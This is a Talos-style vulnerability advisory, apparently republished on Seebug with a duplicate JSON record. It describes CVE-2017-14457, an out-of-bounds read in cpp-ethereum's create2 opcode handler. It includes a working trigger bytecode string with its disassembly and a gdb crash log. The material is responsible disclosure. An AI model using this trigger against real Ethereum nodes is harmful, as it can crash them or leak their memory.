### Summary
An exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum.
A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability.
### Tested Versions
Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768
### Product URLs
http://cpp-ethereum.org
### CVSSv3 Score
8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
### CWE
CWE-125: Out-of-bounds Read
### Details
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform.
One of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine.
The `create2` opcode is currently associate with `Constantinople` fork and its implementation looks as follows:
```
cpp-ethereum/libevm/VMCalls.cpp
Line 133 void VM::caseCreate()
Line 134 {
Line 135 m_bounce = &VM::interpretCases;
Line 136 m_runGas = toInt63(m_schedule->createGas);
Line 137 updateMem(memNeed(m_SP[1], m_SP[2]));
Line 138 updateIOGas();
Line 139
Line 140 auto const& endowment = m_SP[0];
Line 141 uint64_t initOff;
Line 142 uint64_t initSize;
Line 143 u256 salt;
Line 144 if (m_OP == Instruction::CREATE)
Line 145 {
Line 146 initOff = (uint64_t)m_SP[1];
Line 147 initSize = (uint64_t)m_SP[2];
Line 148 }
Line 149 else
Line 150 {
Line 151 salt = m_SP[1];
Line 152 initOff = (uint64_t)m_SP[2];
Line 153 initSize = (uint64_t)m_SP[3];
Line 154 }
Line 155
Line 156 // Clear the return data buffer. This will not free the memory.
Line 157 m_returnData.clear();
Line 158
Line 159 if (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024)
Line 160 {
Line 161 *m_io_gas_p = m_io_gas;
Line 162 u256 createGas = *m_io_gas_p;
Line 163 if (!m_schedule->staticCallDepthLimit())
Line 164 createGas -= createGas / 64;
Line 165 u256 gas = createGas;
Line 166 h160 addr;
Line 167 owning_bytes_ref output;
Line 168 std::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp);
```
In pseudo code we can represent the opcode handler as follows:
```
create2(endowment,salt,initOff,initSize)
```
Its purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory `m_mem` at the specified offset.
In above code we can observe that 4th parameter `initSize` represents size of the new contract code, it is read directly from input at `line 153` and not sanitized in any way before it is used at `line 168`. At line 168 we see that a new object of type `bytesConstRef` is created :
```
using bytesConstRef = vector_ref<byte const>;
libdevcore\vector_ref.h
Line 19 /**
Line 20 * A modifiable reference to an existing object or vector in memory.
Line 21 */
Line 22 template <class _T>
Line 23 class vector_ref
Line 24 {
(...)
Line 33 /// Creates a new vector_ref to point to @a _count elements starting at @a _data.
Line 34 vector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {}
```
The parameters being passed to the constructor for this are a pointer to a memory buffer m_mem and, as a size of this buffer, the initSize variable. As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer. Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated:
```
Line 324 bool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt)
Line 325 {
Line 326 m_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes()));
Line 327 return executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin);
Line 328 }
```
The corrupted object in the function above is passed as `an _init` argument. The incorrect size of this object in that scenario can lead to:
```
- A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function
- A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker
as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory.
```
Example of opcodes triggering this vulnerability:
```
67FFFFFFFFFFFFFFFF600160006000FB
```
disassembling we get:
```
67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size `initSize`
60 01 PUSH 1 // initOff
60 00 PUSH 0 // salt
60 00 PUSH 0 // endowment
FB CREATE2
```
### Crash Information
```
Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
147 mkapply_ds(xorin, dst[i] ^= src[i]) // xorin
(gdb) peda_active
gdb-peda$ context
[----------------------------------registers-----------------------------------]
RAX: 0xf
RBX: 0x798a6dbc7de82679
RCX: 0x1103ff1 --> 0x3f8000
RDX: 0x0
RSI: 0x8c887aede3bcb158
RDI: 0x23fe151d7b09c153
RBP: 0xe223193d3ce38d3f
RSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82
RIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1])
R8 : 0xb7239754a4040e21
R9 : 0x6c253a29078ce9a7
R10: 0xdea07427d1e5343
R11: 0x18
R12: 0xb22887a917e771ac
R13: 0x82bfafeff33273bb
R14: 0x7de51edb509fe189
R15: 0x8c6233ed3e52b5ca
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>: mov rcx,QWORD PTR [rsp+0x78]
0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>: cmp rax,0x87
0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>: ja 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>
=> 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1]
0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>: xor BYTE PTR [rsp+rax*1+0x80],dl
0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>: add rax,0x1
0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>: jmp 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>
0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>: mov r13d,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82
0008| 0x7fffffffaac8 --> 0xae440eb455ebc604
0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158
0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d
0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca
0040| 0x7fffffffaae8 --> 0xb7239754a4040e21
0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7
0056| 0x7fffffffaaf8 --> 0x821ae124af601e76
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
gdb-peda$ bt
#0 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
#1 dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 "", outlen=0x20, out=0x7fffffffad70 "") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171
#2 dev::keccak::sha3_256 (out=0x7fffffffad70 "", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207
#3 0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218
#4 0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40
#5 dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326
#6 0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126
#7 0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169
#8 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207
#9 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434
#10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320
#11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291
#12 0x0000000000413c09 in _start ()
```
### Timeline
* 2017-11-03 - Vendor Disclosure
* 2018-01-09 - Public Release
{"href": "https://www.seebug.org/vuldb/ssvid-97072", "status": "cve,details", "bulletinFamily": "exploit", "modified": "2018-01-10T00:00:00", "title": "CPP-Ethereum libevm create2 Information Leak Vulnerability(CVE-2017-14457)", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "", "cvelist": ["CVE-2017-14457"], "description": "### Summary\r\nAn exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum.\r\nA specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability.\r\n\r\n### Tested Versions\r\nEthereum commit 4e1015743b95821849d001618a7ce82c7c073768\r\n\r\n### Product URLs\r\nhttp://cpp-ethereum.org\r\n\r\n### CVSSv3 Score\r\n8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\r\n\r\n### CWE\r\nCWE-125: Out-of-bounds Read\r\n\r\n### Details\r\nCPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform.\r\n\r\nOne of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine.\r\n\r\nThe `create2` opcode is currently associate with `Constantinople` fork and its implementation looks as follows:\r\n```\r\ncpp-ethereum/libevm/VMCalls.cpp\r\n\r\nLine 133 void VM::caseCreate()\r\nLine 134 {\r\nLine 135 m_bounce = &VM::interpretCases;\r\nLine 136 m_runGas = toInt63(m_schedule->createGas);\r\nLine 137 updateMem(memNeed(m_SP[1], m_SP[2]));\r\nLine 138 updateIOGas();\r\nLine 139\r\nLine 140 auto const& endowment = m_SP[0];\r\nLine 141 uint64_t initOff;\r\nLine 142 uint64_t initSize;\r\nLine 143 u256 salt;\r\nLine 144 if (m_OP == Instruction::CREATE)\r\nLine 145 {\r\nLine 146 initOff = (uint64_t)m_SP[1];\r\nLine 147 initSize = (uint64_t)m_SP[2];\r\nLine 148 }\r\nLine 149 else\r\nLine 150 {\r\nLine 151 salt = m_SP[1];\r\nLine 152 initOff = (uint64_t)m_SP[2];\r\nLine 153 initSize = (uint64_t)m_SP[3];\r\nLine 154 }\r\nLine 155\r\nLine 156 // Clear the return data buffer. This will not free the memory.\r\nLine 157 m_returnData.clear();\r\nLine 158\r\nLine 159 if (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024)\r\nLine 160 {\r\nLine 161 *m_io_gas_p = m_io_gas;\r\nLine 162 u256 createGas = *m_io_gas_p;\r\nLine 163 if (!m_schedule->staticCallDepthLimit())\r\nLine 164 createGas -= createGas / 64;\r\nLine 165 u256 gas = createGas;\r\nLine 166 h160 addr;\r\nLine 167 owning_bytes_ref output;\r\nLine 168 std::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp);\r\n```\r\n\r\nIn pseudo code we can represent the opcode handler as follows:\r\n```\r\ncreate2(endowment,salt,initOff,initSize)\r\n```\r\n\r\nIts purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory `m_mem` at the specified offset. \r\n\r\nIn above code we can observe that 4th parameter `initSize` represents size of the new contract code, it is read directly from input at `line 153` and not sanitized in any way before it is used at `line 168`. At line 168 we see that a new object of type `bytesConstRef` is created :\r\n```\r\nusing bytesConstRef = vector_ref<byte const>;\r\n\r\nlibdevcore\\vector_ref.h\r\nLine 19 /**\r\nLine 20 * A modifiable reference to an existing object or vector in memory.\r\nLine 21 */\r\nLine 22 template <class _T>\r\nLine 23 class vector_ref\r\nLine 24 {\r\n (...)\r\nLine 33 /// Creates a new vector_ref to point to @a _count elements starting at @a _data.\r\nLine 34 vector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {} \r\n```\r\n\r\nThe parameters being passed to the constructor for this are a pointer to a memory buffer m_mem and, as a size of this buffer, the initSize variable. As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer. Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated:\r\n```\r\nLine 324 bool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt)\r\nLine 325 {\r\nLine 326 m_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes()));\r\nLine 327 return executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin);\r\nLine 328 } \r\n```\r\n\r\nThe corrupted object in the function above is passed as `an _init` argument. The incorrect size of this object in that scenario can lead to:\r\n```\r\n- A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function\r\n- A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker\r\n as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory.\r\n```\r\n\t\r\nExample of opcodes triggering this vulnerability:\r\n```\r\n67FFFFFFFFFFFFFFFF600160006000FB\r\n```\r\n\r\ndisassembling we get:\r\n```\r\n 67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size `initSize`\r\n 60 01 PUSH 1 // initOff\r\n 60 00 PUSH 0 // salt\r\n 60 00 PUSH 0 // endowment\r\n FB CREATE2\r\n```\r\n\r\n### Crash Information\r\n```\r\nStarting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB\r\n[Thread debugging using libthread_db enabled]\r\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147\r\n147 mkapply_ds(xorin, dst[i] ^= src[i]) // xorin\r\n(gdb) peda_active \r\ngdb-peda$ context\r\n[----------------------------------registers-----------------------------------]\r\nRAX: 0xf \r\nRBX: 0x798a6dbc7de82679 \r\nRCX: 0x1103ff1 --> 0x3f8000 \r\nRDX: 0x0 \r\nRSI: 0x8c887aede3bcb158 \r\nRDI: 0x23fe151d7b09c153 \r\nRBP: 0xe223193d3ce38d3f \r\nRSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82 \r\nRIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1])\r\nR8 : 0xb7239754a4040e21 \r\nR9 : 0x6c253a29078ce9a7 \r\nR10: 0xdea07427d1e5343 \r\nR11: 0x18 \r\nR12: 0xb22887a917e771ac \r\nR13: 0x82bfafeff33273bb \r\nR14: 0x7de51edb509fe189 \r\nR15: 0x8c6233ed3e52b5ca\r\nEFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n 0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>: mov rcx,QWORD PTR [rsp+0x78]\r\n 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>: cmp rax,0x87\r\n 0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>: ja 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>\r\n=> 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1]\r\n 0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>: xor BYTE PTR [rsp+rax*1+0x80],dl\r\n 0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>: add rax,0x1\r\n 0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>: jmp 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>\r\n 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>: mov r13d,0x0\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82 \r\n0008| 0x7fffffffaac8 --> 0xae440eb455ebc604 \r\n0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158 \r\n0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d \r\n0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca \r\n0040| 0x7fffffffaae8 --> 0xb7239754a4040e21 \r\n0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7 \r\n0056| 0x7fffffffaaf8 --> 0x821ae124af601e76 \r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\ngdb-peda$ bt\r\n#0 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147\r\n#1 dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 \"\", outlen=0x20, out=0x7fffffffad70 \"\") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171\r\n#2 dev::keccak::sha3_256 (out=0x7fffffffad70 \"\", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207\r\n#3 0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218\r\n#4 0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40\r\n#5 dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326\r\n#6 0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126\r\n#7 0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169\r\n#8 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207\r\n#9 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434\r\n#10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320\r\n#11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291\r\n#12 0x0000000000413c09 in _start ()\r\n```\r\n\r\n### Timeline\r\n* 2017-11-03 - Vendor Disclosure\r\n* 2018-01-09 - Public Release", "viewCount": 27, "published": "2018-01-10T00:00:00", "sourceData": "", "id": "SSV:97072", "enchantments_done": [], "type": "seebug", "lastseen": "2018-01-10T18:35:40", "reporter": "Root", "enchantments": {"score": {"value": 0.2, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2017-14457"]}, {"type": "talos", "idList": ["TALOS-2017-0503"]}, {"type": "talosblog", "idList": ["TALOSBLOG:B0D11FD8DA4E92C5F60226FDECD81A2B"]}], "rev": 4}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2017-14457"]}, {"type": "talos", "idList": ["TALOS-2017-0503"]}, {"type": "talosblog", "idList": ["TALOSBLOG:B0D11FD8DA4E92C5F60226FDECD81A2B"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2017-14457", "epss": "0.000800000", "percentile": "0.326090000", "modified": "2023-03-14"}], "vulnersScore": 0.2}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645524500, "score": 1659788215, "epss": 1678852985}}
